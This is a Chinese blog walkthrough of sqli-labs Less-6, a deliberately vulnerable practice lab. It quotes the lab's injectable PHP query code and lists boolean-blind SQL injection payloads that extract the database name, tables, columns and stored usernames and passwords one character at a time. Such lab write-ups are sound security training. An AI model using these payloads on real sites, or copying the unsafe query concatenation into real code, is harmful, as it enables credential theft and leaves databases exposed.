第六关-Less-6:

第六关-Less-6:

GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

我们还是先来判断注入点:

我们输入一个正常的?id=1来查看一下回显:

页面还是和第五关一样,没有什么有用信息的回显

我们输入?id=1' 来查看一下:

发现也是没有任何回显,也可能没有闭合

我们再试一下?id=1" (双引号)看一下:

这里我们看到报错信息,发现是双引号闭合

查看一下它的关键的网页源码:

$id = '"'.$id.'"';     //双引号闭合
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

这里我们的思路就很清晰,和第五关一样,唯一的区别是一个是单引号一个是双引号

布尔型盲注的payload:

?id=1" and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1" and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。

?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名

?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度

?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
?id=1" and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

还是时间延迟注入和报错注入就看第五关!

posted @   张伟文  阅读(81)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示